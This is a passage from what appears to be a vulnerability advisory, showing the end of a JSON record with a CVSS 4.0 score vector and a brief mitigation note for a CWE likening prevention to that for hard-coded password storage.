"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Architecture and Design
Prevention schemes mirror that of hard-coded password storage.
No CAPEC attack patterns related to this CWE.